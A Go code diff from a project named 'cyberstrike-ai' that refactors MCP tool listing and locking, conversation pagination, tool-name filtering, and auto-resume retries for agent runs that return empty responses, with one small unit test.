externalMCPMgr := h.externalMCPMgr
|
||||
h.mu.RUnlock()
|
||||
|
||||
pickDesc := func(shortDesc, fullDesc string) string {
|
||||
return pickToolDescriptionWithMode(toolDescriptionMode, shortDesc, fullDesc)
|
||||
}
|
||||
|
||||
// 解析角色参数,用于过滤工具并标注启用状态
|
||||
roleName := c.Query("role")
|
||||
var roleToolsSet map[string]bool // 角色配置的工具集合
|
||||
var roleUsesAllTools bool = true // 角色是否使用所有工具(默认角色)
|
||||
if roleName != "" && roleName != "默认" && h.config.Roles != nil {
|
||||
if role, exists := h.config.Roles[roleName]; exists && role.Enabled {
|
||||
if roleName != "" && roleName != "默认" && roles != nil {
|
||||
if role, exists := roles[roleName]; exists && role.Enabled {
|
||||
if len(role.Tools) > 0 {
|
||||
// 角色配置了工具列表,只使用这些工具
|
||||
roleToolsSet = make(map[string]bool)
|
||||
@@ -426,12 +448,12 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
|
||||
|
||||
// 获取所有内部工具并应用搜索过滤
|
||||
configToolMap := make(map[string]bool)
|
||||
allTools := make([]ToolConfigInfo, 0, len(h.config.Security.Tools))
|
||||
for _, tool := range h.config.Security.Tools {
|
||||
allTools := make([]ToolConfigInfo, 0, len(securityTools))
|
||||
for _, tool := range securityTools {
|
||||
configToolMap[tool.Name] = true
|
||||
toolInfo := ToolConfigInfo{
|
||||
Name: tool.Name,
|
||||
Description: h.pickToolDescription(tool.ShortDescription, tool.Description),
|
||||
Description: pickDesc(tool.ShortDescription, tool.Description),
|
||||
Enabled: tool.Enabled,
|
||||
IsExternal: false,
|
||||
}
|
||||
@@ -479,15 +501,15 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
|
||||
}
|
||||
|
||||
// 从MCP服务器获取所有已注册的工具(包括直接注册的工具,如知识检索工具)
|
||||
if h.mcpServer != nil {
|
||||
mcpTools := h.mcpServer.GetAllTools()
|
||||
if mcpServer != nil {
|
||||
mcpTools := mcpServer.GetAllTools()
|
||||
for _, mcpTool := range mcpTools {
|
||||
// 跳过已经在配置文件中的工具(避免重复)
|
||||
if configToolMap[mcpTool.Name] {
|
||||
continue
|
||||
}
|
||||
|
||||
description := h.pickToolDescription(mcpTool.ShortDescription, mcpTool.Description)
|
||||
description := pickDesc(mcpTool.ShortDescription, mcpTool.Description)
|
||||
|
||||
toolInfo := ToolConfigInfo{
|
||||
Name: mcpTool.Name,
|
||||
@@ -534,11 +556,13 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
|
||||
}
|
||||
}
|
||||
|
||||
// 获取外部MCP工具
|
||||
if h.externalMCPMgr != nil {
|
||||
// 创建context用于获取外部工具
|
||||
// 获取外部MCP工具(可走缓存,不持有 config 锁)
|
||||
if includeExternal && externalMCPMgr != nil {
|
||||
if refreshExternal {
|
||||
externalMCPMgr.InvalidateAllToolCaches()
|
||||
}
|
||||
ctx := context.Background()
|
||||
externalTools := h.getExternalMCPTools(ctx)
|
||||
externalTools := h.getExternalMCPToolsWithManager(ctx, externalMCPMgr, pickDesc)
|
||||
|
||||
// 应用搜索过滤和角色配置
|
||||
for _, toolInfo := range externalTools {
|
||||
@@ -585,6 +609,16 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
|
||||
// 注意:这里我们不直接过滤掉工具,而是保留所有工具,但通过 role_enabled 字段标注状态
|
||||
// 这样前端可以显示所有工具,并标注哪些工具在当前角色中可用
|
||||
|
||||
if externalMCPFilter != "" {
|
||||
filtered := make([]ToolConfigInfo, 0)
|
||||
for _, tool := range allTools {
|
||||
if tool.IsExternal && tool.ExternalMCP == externalMCPFilter {
|
||||
filtered = append(filtered, tool)
|
||||
}
|
||||
}
|
||||
allTools = filtered
|
||||
}
|
||||
|
||||
// 统一按名称排序后再分页,避免配置文件中顺序导致「全部」与「仅已启用」前几页看起来完全一致
|
||||
sort.SliceStable(allTools, func(i, j int) bool {
|
||||
key := func(t ToolConfigInfo) string {
|
||||
@@ -1906,50 +1940,52 @@ func setFloatInMap(mapNode *yaml.Node, key string, value float64) {
|
||||
}
|
||||
|
||||
// getExternalMCPTools 获取外部MCP工具列表(公共方法)
|
||||
// 返回 ToolConfigInfo 列表,已处理启用状态和描述信息
|
||||
func (h *ConfigHandler) getExternalMCPTools(ctx context.Context) []ToolConfigInfo {
|
||||
var result []ToolConfigInfo
|
||||
|
||||
if h.externalMCPMgr == nil {
|
||||
return nil
|
||||
}
|
||||
return h.getExternalMCPToolsWithManager(ctx, h.externalMCPMgr, h.pickToolDescription)
|
||||
}
|
||||
|
||||
// getExternalMCPToolsWithManager 获取外部 MCP 工具(不持有 config 锁,供 GetTools 等热路径使用)
|
||||
func (h *ConfigHandler) getExternalMCPToolsWithManager(
|
||||
ctx context.Context,
|
||||
mgr *mcp.ExternalMCPManager,
|
||||
pickDesc func(shortDesc, fullDesc string) string,
|
||||
) []ToolConfigInfo {
|
||||
var result []ToolConfigInfo
|
||||
if mgr == nil {
|
||||
return result
|
||||
}
|
||||
|
||||
// 使用较短的超时时间(5秒)进行快速失败,避免阻塞页面加载
|
||||
timeoutCtx, cancel := context.WithTimeout(ctx, 5*time.Second)
|
||||
defer cancel()
|
||||
|
||||
externalTools, err := h.externalMCPMgr.GetAllTools(timeoutCtx)
|
||||
externalTools, err := mgr.GetAllTools(timeoutCtx)
|
||||
if err != nil {
|
||||
// 记录警告但不阻塞,继续返回已缓存的工具(如果有)
|
||||
h.logger.Warn("获取外部MCP工具失败(可能连接断开),尝试返回缓存的工具",
|
||||
zap.Error(err),
|
||||
zap.String("hint", "如果外部MCP工具未显示,请检查连接状态或点击刷新按钮"),
|
||||
)
|
||||
}
|
||||
|
||||
// 如果获取到了工具(即使有错误),继续处理
|
||||
if len(externalTools) == 0 {
|
||||
return result
|
||||
}
|
||||
|
||||
externalMCPConfigs := h.externalMCPMgr.GetConfigs()
|
||||
externalMCPConfigs := mgr.GetConfigs()
|
||||
|
||||
for _, externalTool := range externalTools {
|
||||
// 解析工具名称:mcpName::toolName
|
||||
mcpName, actualToolName := h.parseExternalToolName(externalTool.Name)
|
||||
if mcpName == "" || actualToolName == "" {
|
||||
continue // 跳过格式不正确的工具
|
||||
continue
|
||||
}
|
||||
|
||||
// 计算启用状态
|
||||
enabled := h.calculateExternalToolEnabled(mcpName, actualToolName, externalMCPConfigs)
|
||||
|
||||
// 处理描述信息
|
||||
description := h.pickToolDescription(externalTool.ShortDescription, externalTool.Description)
|
||||
enabled := h.calculateExternalToolEnabledWithManager(mcpName, actualToolName, externalMCPConfigs, mgr)
|
||||
|
||||
result = append(result, ToolConfigInfo{
|
||||
Name: actualToolName,
|
||||
Description: description,
|
||||
Description: pickDesc(externalTool.ShortDescription, externalTool.Description),
|
||||
Enabled: enabled,
|
||||
IsExternal: true,
|
||||
ExternalMCP: mcpName,
|
||||
@@ -1970,40 +2006,48 @@ func (h *ConfigHandler) parseExternalToolName(fullName string) (mcpName, toolNam
|
||||
|
||||
// calculateExternalToolEnabled 计算外部工具的启用状态
|
||||
func (h *ConfigHandler) calculateExternalToolEnabled(mcpName, toolName string, configs map[string]config.ExternalMCPServerConfig) bool {
|
||||
return h.calculateExternalToolEnabledWithManager(mcpName, toolName, configs, h.externalMCPMgr)
|
||||
}
|
||||
|
||||
func (h *ConfigHandler) calculateExternalToolEnabledWithManager(
|
||||
mcpName, toolName string,
|
||||
configs map[string]config.ExternalMCPServerConfig,
|
||||
mgr *mcp.ExternalMCPManager,
|
||||
) bool {
|
||||
cfg, exists := configs[mcpName]
|
||||
if !exists {
|
||||
return false
|
||||
}
|
||||
|
||||
// 首先检查外部MCP是否启用
|
||||
if !cfg.ExternalMCPEnable {
|
||||
return false // MCP未启用,所有工具都禁用
|
||||
return false
|
||||
}
|
||||
|
||||
// MCP已启用,检查单个工具的启用状态
|
||||
// 如果ToolEnabled为空或未设置该工具,默认为启用(向后兼容)
|
||||
if cfg.ToolEnabled == nil {
|
||||
// 未设置工具状态,默认为启用
|
||||
} else if toolEnabled, exists := cfg.ToolEnabled[toolName]; exists {
|
||||
// 使用配置的工具状态
|
||||
if !toolEnabled {
|
||||
if cfg.ToolEnabled != nil {
|
||||
if toolEnabled, exists := cfg.ToolEnabled[toolName]; exists && !toolEnabled {
|
||||
return false
|
||||
}
|
||||
}
|
||||
// 工具未在配置中,默认为启用
|
||||
|
||||
// 最后检查外部MCP是否已连接
|
||||
client, exists := h.externalMCPMgr.GetClient(mcpName)
|
||||
if mgr == nil {
|
||||
return false
|
||||
}
|
||||
client, exists := mgr.GetClient(mcpName)
|
||||
if !exists || !client.IsConnected() {
|
||||
return false // 未连接时视为禁用
|
||||
return false
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
// pickToolDescription 根据 security.tool_description_mode 选择 short 或 full 描述并限制长度
|
||||
// pickToolDescription 根据 security.tool_description_mode 选择 short 或 full 描述并限制长度。
|
||||
// 调用方若已持有 h.mu 读锁,须直接读 mode 并调用 pickToolDescriptionWithMode,避免嵌套 RLock 死锁。
|
||||
func (h *ConfigHandler) pickToolDescription(shortDesc, fullDesc string) string {
|
||||
useFull := strings.TrimSpace(strings.ToLower(h.config.Security.ToolDescriptionMode)) == "full"
|
||||
return pickToolDescriptionWithMode(h.config.Security.ToolDescriptionMode, shortDesc, fullDesc)
|
||||
}
|
||||
|
||||
func pickToolDescriptionWithMode(mode, shortDesc, fullDesc string) string {
|
||||
useFull := strings.TrimSpace(strings.ToLower(mode)) == "full"
|
||||
description := shortDesc
|
||||
if useFull {
|
||||
description = fullDesc
|
||||
@@ -2018,23 +2062,22 @@ func (h *ConfigHandler) pickToolDescription(shortDesc, fullDesc string) string {
|
||||
|
||||
// GetToolSchema 获取单个工具的 inputSchema(按需加载,避免列表接口返回大量 schema 数据)
|
||||
func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
|
||||
toolName := c.Param("name")
|
||||
if toolName == "" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "工具名称不能为空"})
|
||||
return
|
||||
}
|
||||
|
||||
// 检查是否为外部工具(格式:mcpName::toolName)
|
||||
externalMCP := c.Query("external_mcp")
|
||||
if externalMCP != "" {
|
||||
// 外部 MCP 工具
|
||||
if h.externalMCPMgr != nil {
|
||||
h.mu.RLock()
|
||||
externalMCPMgr := h.externalMCPMgr
|
||||
h.mu.RUnlock()
|
||||
|
||||
if externalMCPMgr != nil {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||
defer cancel()
|
||||
externalTools, _ := h.externalMCPMgr.GetAllTools(ctx)
|
||||
externalTools, _ := externalMCPMgr.GetAllTools(ctx)
|
||||
fullName := externalMCP + "::" + toolName
|
||||
for _, t := range externalTools {
|
||||
if t.Name == fullName {
|
||||
@@ -2047,8 +2090,12 @@ func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
|
||||
return
|
||||
}
|
||||
|
||||
// 内部工具:从 YAML 配置的 Parameters 构建
|
||||
for _, tool := range h.config.Security.Tools {
|
||||
h.mu.RLock()
|
||||
securityTools := append([]config.ToolConfig(nil), h.config.Security.Tools...)
|
||||
mcpServer := h.mcpServer
|
||||
h.mu.RUnlock()
|
||||
|
||||
for _, tool := range securityTools {
|
||||
if tool.Name == toolName {
|
||||
c.JSON(http.StatusOK, gin.H{"input_schema": buildInputSchemaFromParams(tool.Parameters)})
|
||||
return
|
||||
@@ -2056,8 +2103,8 @@ func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
|
||||
}
|
||||
|
||||
// MCP 注册工具(如知识检索)
|
||||
if h.mcpServer != nil {
|
||||
for _, mt := range h.mcpServer.GetAllTools() {
|
||||
if mcpServer != nil {
|
||||
for _, mt := range mcpServer.GetAllTools() {
|
||||
if mt.Name == toolName {
|
||||
c.JSON(http.StatusOK, gin.H{"input_schema": mt.InputSchema})
|
||||
return
|
||||
|
||||
@@ -96,18 +96,44 @@ func (h *ConversationHandler) ListConversations(c *gin.Context) {
|
||||
limit, _ := strconv.Atoi(limitStr)
|
||||
offset, _ := strconv.Atoi(offsetStr)
|
||||
|
||||
if limit <= 0 || limit > 100 {
|
||||
if limit <= 0 {
|
||||
limit = 50
|
||||
}
|
||||
if limit > 1000 {
|
||||
limit = 1000
|
||||
}
|
||||
|
||||
conversations, err := h.db.ListConversations(limit, offset, search)
|
||||
excludeGrouped := strings.TrimSpace(search) == "" &&
|
||||
(c.Query("exclude_grouped") == "true" || c.Query("exclude_grouped") == "1")
|
||||
|
||||
var conversations []*database.Conversation
|
||||
var total int
|
||||
var err error
|
||||
if excludeGrouped {
|
||||
conversations, err = h.db.ListUngroupedConversations(limit, offset)
|
||||
if err == nil {
|
||||
total, err = h.db.CountUngroupedConversations()
|
||||
}
|
||||
} else {
|
||||
conversations, err = h.db.ListConversations(limit, offset, search)
|
||||
if err == nil {
|
||||
total, err = h.db.CountConversations(search)
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
h.logger.Error("获取对话列表失败", zap.Error(err))
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, conversations)
|
||||
if conversations == nil {
|
||||
conversations = []*database.Conversation{}
|
||||
}
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"conversations": conversations,
|
||||
"total": total,
|
||||
"limit": limit,
|
||||
"offset": offset,
|
||||
})
|
||||
}
|
||||
|
||||
// GetConversation 获取对话
|
||||
|
||||
@@ -9,6 +9,8 @@ import (
|
||||
|
||||
"cyberstrike-ai/internal/agent"
|
||||
"cyberstrike-ai/internal/multiagent"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
func (h *AgentHandler) einoRunRetryMaxAttempts() int {
|
||||
@@ -120,3 +122,59 @@ func (h *AgentHandler) handleEinoTransientRetryContinue(
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// handleEinoEmptyResponseContinue 在 SSE 任务循环内处理「正常结束但无助手正文」;返回 exhausted=true 时由外层按成功结束(保留占位文案)。
|
||||
// 与临时错误重试一致:仅恢复轨迹并保留本请求原始 user 文案,不向模型注入续跑说明。
|
||||
func (h *AgentHandler) handleEinoEmptyResponseContinue(
|
||||
baseCtx context.Context,
|
||||
conversationID string,
|
||||
result *multiagent.RunResult,
|
||||
runErr error,
|
||||
emptyResponseAttempts *int,
|
||||
curHistory *[]agent.ChatMessage,
|
||||
curFinalMessage *string,
|
||||
segmentUserMessage string,
|
||||
progressCallback func(eventType, message string, data interface{}),
|
||||
sendProgress func(msg string, extra map[string]interface{}),
|
||||
) (handled bool, exhausted bool) {
|
||||
if !errors.Is(runErr, multiagent.ErrEmptyResponseContinue) {
|
||||
return false, false
|
||||
}
|
||||
maxAttempts := h.einoRunRetryMaxAttempts()
|
||||
*emptyResponseAttempts++
|
||||
if *emptyResponseAttempts > maxAttempts {
|
||||
if h.logger != nil {
|
||||
h.logger.Warn("eino empty response auto resume exhausted",
|
||||
zap.String("conversationId", conversationID),
|
||||
zap.Int("maxAttempts", maxAttempts))
|
||||
}
|
||||
if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
|
||||
h.persistEinoAgentTraceForResume(conversationID, result)
|
||||
}
|
||||
return false, true
|
||||
}
|
||||
attemptNo := *emptyResponseAttempts
|
||||
if h.logger != nil {
|
||||
h.logger.Info("eino empty response, auto resume from trace",
|
||||
zap.String("conversationId", conversationID),
|
||||
zap.Int("attempt", attemptNo),
|
||||
zap.Int("maxAttempts", maxAttempts))
|
||||
}
|
||||
if progressCallback != nil {
|
||||
progressCallback("eino_empty_response_continue", fmt.Sprintf("未捕获到助手正文,正在基于轨迹自动续跑(%d/%d)…", attemptNo, maxAttempts), map[string]interface{}{
|
||||
"conversationId": conversationID,
|
||||
"source": "eino",
|
||||
"attempt": attemptNo,
|
||||
"maxAttempts": maxAttempts,
|
||||
"resumeKind": "trace_segment",
|
||||
})
|
||||
}
|
||||
h.applyEinoTransientRetrySegment(conversationID, result, curHistory, curFinalMessage, segmentUserMessage)
|
||||
if sendProgress != nil {
|
||||
sendProgress("已恢复上下文,正在继续推理…", map[string]interface{}{
|
||||
"conversationId": conversationID,
|
||||
"source": "empty_response_continue",
|
||||
})
|
||||
}
|
||||
return true, false
|
||||
}
|
||||
|
||||
@@ -178,6 +178,7 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
|
||||
|
||||
var cumulativeMCPExecutionIDs []string
|
||||
var transientRunAttempts int
|
||||
var emptyResponseAttempts int
|
||||
// 同一请求内分段续跑时,主代理 iteration 事件按偏移累计,避免 UI 出现「第3轮 → 第1轮」回跳。
|
||||
var mainIterationOffset int
|
||||
|
||||
@@ -237,9 +238,32 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
|
||||
cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs)
|
||||
}
|
||||
|
||||
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
|
||||
baseCtx, conversationID, result, runErr, &emptyResponseAttempts,
|
||||
&curHistory, &curFinalMessage, segmentUserMessage, progressCallback,
|
||||
func(msg string, extra map[string]interface{}) { sendEvent("progress", msg, extra) },
|
||||
)
|
||||
if exhaustedEmpty {
|
||||
runErr = nil
|
||||
transientRunAttempts = 0
|
||||
timeoutCancel()
|
||||
break
|
||||
}
|
||||
if handledEmpty {
|
||||
mainIterationOffset += segmentMainIterationMax
|
||||
transientRunAttempts = 0
|
||||
timeoutCancel()
|
||||
baseCtx, cancelWithCause = context.WithCancelCause(context.Background())
|
||||
h.tasks.BindTaskCancel(conversationID, cancelWithCause)
|
||||
taskCtx, timeoutCancel = context.WithTimeout(baseCtx, 600*time.Minute)
|
||||
h.tasks.UpdateTaskStatus(conversationID, "running")
|
||||
continue
|
||||
}
|
||||
|
||||
if runErr == nil {
|
||||
// 任一段成功完成后,重置临时错误重试窗口(次数/退避从头开始)。
|
||||
transientRunAttempts = 0
|
||||
emptyResponseAttempts = 0
|
||||
timeoutCancel()
|
||||
break
|
||||
}
|
||||
@@ -418,21 +442,49 @@ func (h *AgentHandler) EinoSingleAgentLoop(c *gin.Context) {
|
||||
return
|
||||
}
|
||||
|
||||
result, runErr := multiagent.RunEinoSingleChatModelAgent(
|
||||
taskCtx,
|
||||
h.config,
|
||||
&h.config.MultiAgent,
|
||||
h.agent,
|
||||
h.logger,
|
||||
prep.ConversationID,
|
||||
prep.FinalMessage,
|
||||
prep.History,
|
||||
prep.RoleTools,
|
||||
progressCallback,
|
||||
chatReasoningToClientIntent(req.Reasoning),
|
||||
h.projectBlackboardBlock(prep.ConversationID),
|
||||
)
|
||||
if runErr != nil {
|
||||
curHist := prep.History
|
||||
curMsg := prep.FinalMessage
|
||||
var result *multiagent.RunResult
|
||||
var runErr error
|
||||
var transientRunAttempts int
|
||||
var emptyResponseAttempts int
|
||||
for {
|
||||
result, runErr = multiagent.RunEinoSingleChatModelAgent(
|
||||
taskCtx,
|
||||
h.config,
|
||||
&h.config.MultiAgent,
|
||||
h.agent,
|
||||
h.logger,
|
||||
prep.ConversationID,
|
||||
curMsg,
|
||||
curHist,
|
||||
prep.RoleTools,
|
||||
progressCallback,
|
||||
chatReasoningToClientIntent(req.Reasoning),
|
||||
h.projectBlackboardBlock(prep.ConversationID),
|
||||
)
|
||||
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
|
||||
baseCtx, prep.ConversationID, result, runErr, &emptyResponseAttempts,
|
||||
&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
|
||||
)
|
||||
if exhaustedEmpty {
|
||||
runErr = nil
|
||||
break
|
||||
}
|
||||
if handledEmpty {
|
||||
continue
|
||||
}
|
||||
if runErr == nil {
|
||||
break
|
||||
}
|
||||
if handled, fatalErr := h.handleEinoTransientRetryContinue(
|
||||
baseCtx, prep.ConversationID, result, runErr, &transientRunAttempts,
|
||||
&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
|
||||
); handled {
|
||||
continue
|
||||
} else if fatalErr != nil {
|
||||
runErr = fatalErr
|
||||
}
|
||||
if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
|
||||
h.persistEinoAgentTraceForResume(prep.ConversationID, result)
|
||||
}
|
||||
|
||||
@@ -64,10 +64,7 @@ func (h *ExternalMCPHandler) GetExternalMCPs(c *gin.Context) {
|
||||
}
|
||||
|
||||
toolCount := toolCounts[name]
|
||||
errorMsg := ""
|
||||
if status == "error" {
|
||||
errorMsg = h.manager.GetError(name)
|
||||
}
|
||||
errorMsg := externalMCPStatusError(h.manager, name, status)
|
||||
|
||||
result[name] = ExternalMCPResponse{
|
||||
Config: cfg,
|
||||
@@ -115,20 +112,22 @@ func (h *ExternalMCPHandler) GetExternalMCP(c *gin.Context) {
|
||||
}
|
||||
}
|
||||
|
||||
// 获取错误信息
|
||||
errorMsg := ""
|
||||
if status == "error" {
|
||||
errorMsg = h.manager.GetError(name)
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, ExternalMCPResponse{
|
||||
Config: cfg,
|
||||
Status: status,
|
||||
ToolCount: toolCount,
|
||||
Error: errorMsg,
|
||||
Error: externalMCPStatusError(h.manager, name, status),
|
||||
})
|
||||
}
|
||||
|
||||
// externalMCPStatusError 在 error/disconnected 状态下返回最近错误(含断连原因)。
|
||||
func externalMCPStatusError(manager *mcp.ExternalMCPManager, name, status string) string {
|
||||
if status != "error" && status != "disconnected" {
|
||||
return ""
|
||||
}
|
||||
return manager.GetError(name)
|
||||
}
|
||||
|
||||
// AddOrUpdateExternalMCP 添加或更新外部MCP配置
|
||||
func (h *ExternalMCPHandler) AddOrUpdateExternalMCP(c *gin.Context) {
|
||||
var req AddOrUpdateExternalMCPRequest
|
||||
|
||||
@@ -271,6 +271,16 @@ func TestExternalMCPHandler_DeleteExternalMCP(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestExternalMCPStatusError(t *testing.T) {
|
||||
manager := mcp.NewExternalMCPManager(zap.NewNop())
|
||||
if got := externalMCPStatusError(manager, "x", "connected"); got != "" {
|
||||
t.Fatalf("connected status should not return error, got %q", got)
|
||||
}
|
||||
if got := externalMCPStatusError(manager, "x", "connecting"); got != "" {
|
||||
t.Fatalf("connecting status should not return error, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExternalMCPHandler_GetExternalMCPs(t *testing.T) {
|
||||
router, handler, _ := setupTestRouter()
|
||||
|
||||
|
||||
@@ -77,8 +77,8 @@ func (h *MonitorHandler) Monitor(c *gin.Context) {
|
||||
|
||||
// 解析状态筛选参数
|
||||
status := c.Query("status")
|
||||
// 解析工具筛选参数
|
||||
toolName := c.Query("tool")
|
||||
// 解析工具筛选参数(兼容 mcp__tool 与内部 mcp::tool)
|
||||
toolName := normalizeToolNameFilter(c.Query("tool"))
|
||||
|
||||
executions, total := h.loadExecutionsWithPagination(page, pageSize, status, toolName)
|
||||
stats := h.loadStats()
|
||||
@@ -113,7 +113,7 @@ func (h *MonitorHandler) loadExecutionsWithPagination(page, pageSize int, status
|
||||
for _, exec := range allExecutions {
|
||||
matchStatus := status == "" || exec.Status == status
|
||||
// 支持部分匹配(模糊搜索)
|
||||
matchTool := toolName == "" || strings.Contains(strings.ToLower(exec.ToolName), strings.ToLower(toolName))
|
||||
matchTool := toolNameFilterMatches(exec.ToolName, toolName)
|
||||
if matchStatus && matchTool {
|
||||
filtered = append(filtered, exec)
|
||||
}
|
||||
@@ -143,7 +143,7 @@ func (h *MonitorHandler) loadExecutionsWithPagination(page, pageSize int, status
|
||||
for _, exec := range allExecutions {
|
||||
matchStatus := status == "" || exec.Status == status
|
||||
// 支持部分匹配(模糊搜索)
|
||||
matchTool := toolName == "" || strings.Contains(strings.ToLower(exec.ToolName), strings.ToLower(toolName))
|
||||
matchTool := toolNameFilterMatches(exec.ToolName, toolName)
|
||||
if matchStatus && matchTool {
|
||||
filtered = append(filtered, exec)
|
||||
}
|
||||
@@ -584,3 +584,35 @@ func (h *MonitorHandler) DeleteExecutions(c *gin.Context) {
|
||||
h.logger.Info("尝试批量删除内存中的执行记录", zap.Int("count", len(request.IDs)))
|
||||
c.JSON(http.StatusOK, gin.H{"message": "执行记录已删除(如果存在)"})
|
||||
}
|
||||
|
||||
// normalizeToolNameFilter 将模型侧 mcp__tool 转为内部存储用的 mcp::tool。
|
||||
func normalizeToolNameFilter(name string) string {
|
||||
name = strings.TrimSpace(name)
|
||||
if name == "" {
|
||||
return name
|
||||
}
|
||||
if strings.Contains(name, "::") {
|
||||
return name
|
||||
}
|
||||
if idx := strings.Index(name, "__"); idx > 0 {
|
||||
return name[:idx] + "::" + name[idx+2:]
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
func toolNameFilterMatches(storedName, filter string) bool {
|
||||
filter = strings.TrimSpace(filter)
|
||||
if filter == "" {
|
||||
return true
|
||||
}
|
||||
storedLower := strings.ToLower(storedName)
|
||||
filterLower := strings.ToLower(filter)
|
||||
if strings.Contains(storedLower, filterLower) {
|
||||
return true
|
||||
}
|
||||
normFilter := strings.ToLower(normalizeToolNameFilter(filter))
|
||||
if normFilter != filterLower && strings.Contains(storedLower, normFilter) {
|
||||
return true
|
||||
}
|
||||
return strings.Contains(strings.ReplaceAll(storedLower, "::", "__"), filterLower)
|
||||
}
|
||||
|
||||
@@ -188,6 +188,7 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
|
||||
// 同一 HTTP 流内多段 Run(如中断并继续)合并 MCP execution id,供最终 response / 库表与工具芯片展示完整列表
|
||||
var cumulativeMCPExecutionIDs []string
|
||||
var transientRunAttempts int
|
||||
var emptyResponseAttempts int
|
||||
// 同一请求内分段续跑时,主代理 iteration 事件按偏移累计,避免 UI 出现「第3轮 → 第1轮」回跳。
|
||||
var mainIterationOffset int
|
||||
|
||||
@@ -249,9 +250,32 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
|
||||
cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs)
|
||||
}
|
||||
|
||||
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
|
||||
baseCtx, conversationID, result, runErr, &emptyResponseAttempts,
|
||||
&curHistory, &curFinalMessage, segmentUserMessage, progressCallback,
|
||||
func(msg string, extra map[string]interface{}) { sendEvent("progress", msg, extra) },
|
||||
)
|
||||
if exhaustedEmpty {
|
||||
runErr = nil
|
||||
transientRunAttempts = 0
|
||||
timeoutCancel()
|
||||
break
|
||||
}
|
||||
if handledEmpty {
|
||||
mainIterationOffset += segmentMainIterationMax
|
||||
transientRunAttempts = 0
|
||||
timeoutCancel()
|
||||
baseCtx, cancelWithCause = context.WithCancelCause(context.Background())
|
||||
h.tasks.BindTaskCancel(conversationID, cancelWithCause)
|
||||
taskCtx, timeoutCancel = context.WithTimeout(baseCtx, 600*time.Minute)
|
||||
h.tasks.UpdateTaskStatus(conversationID, "running")
|
||||
continue
|
||||
}
|
||||
|
||||
if runErr == nil {
|
||||
// 任一段成功完成后,重置临时错误重试窗口(次数/退避从头开始)。
|
||||
transientRunAttempts = 0
|
||||
emptyResponseAttempts = 0
|
||||
timeoutCancel()
|
||||
break
|
||||
}
|
||||
@@ -430,23 +454,51 @@ func (h *AgentHandler) MultiAgentLoop(c *gin.Context) {
|
||||
return h.interceptHITLForEinoTool(ctx, cancelWithCause, prep.ConversationID, prep.AssistantMessageID, nil, toolName, arguments)
|
||||
})
|
||||
|
||||
result, runErr := multiagent.RunDeepAgent(
|
||||
taskCtx,
|
||||
h.config,
|
||||
&h.config.MultiAgent,
|
||||
h.agent,
|
||||
h.logger,
|
||||
prep.ConversationID,
|
||||
prep.FinalMessage,
|
||||
prep.History,
|
||||
prep.RoleTools,
|
||||
progressCallback,
|
||||
h.agentsMarkdownDir,
|
||||
strings.TrimSpace(req.Orchestration),
|
||||
chatReasoningToClientIntent(req.Reasoning),
|
||||
h.projectBlackboardBlock(prep.ConversationID),
|
||||
)
|
||||
if runErr != nil {
|
||||
curHist := prep.History
|
||||
curMsg := prep.FinalMessage
|
||||
var result *multiagent.RunResult
|
||||
var runErr error
|
||||
var transientRunAttempts int
|
||||
var emptyResponseAttempts int
|
||||
for {
|
||||
result, runErr = multiagent.RunDeepAgent(
|
||||
taskCtx,
|
||||
h.config,
|
||||
&h.config.MultiAgent,
|
||||
h.agent,
|
||||
h.logger,
|
||||
prep.ConversationID,
|
||||
curMsg,
|
||||
curHist,
|
||||
prep.RoleTools,
|
||||
progressCallback,
|
||||
h.agentsMarkdownDir,
|
||||
strings.TrimSpace(req.Orchestration),
|
||||
chatReasoningToClientIntent(req.Reasoning),
|
||||
h.projectBlackboardBlock(prep.ConversationID),
|
||||
)
|
||||
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
|
||||
baseCtx, prep.ConversationID, result, runErr, &emptyResponseAttempts,
|
||||
&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
|
||||
)
|
||||
if exhaustedEmpty {
|
||||
runErr = nil
|
||||
break
|
||||
}
|
||||
if handledEmpty {
|
||||
continue
|
||||
}
|
||||
if runErr == nil {
|
||||
break
|
||||
}
|
||||
if handled, fatalErr := h.handleEinoTransientRetryContinue(
|
||||
baseCtx, prep.ConversationID, result, runErr, &transientRunAttempts,
|
||||
&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
|
||||
); handled {
|
||||
continue
|
||||
} else if fatalErr != nil {
|
||||
runErr = fatalErr
|
||||
}
|
||||
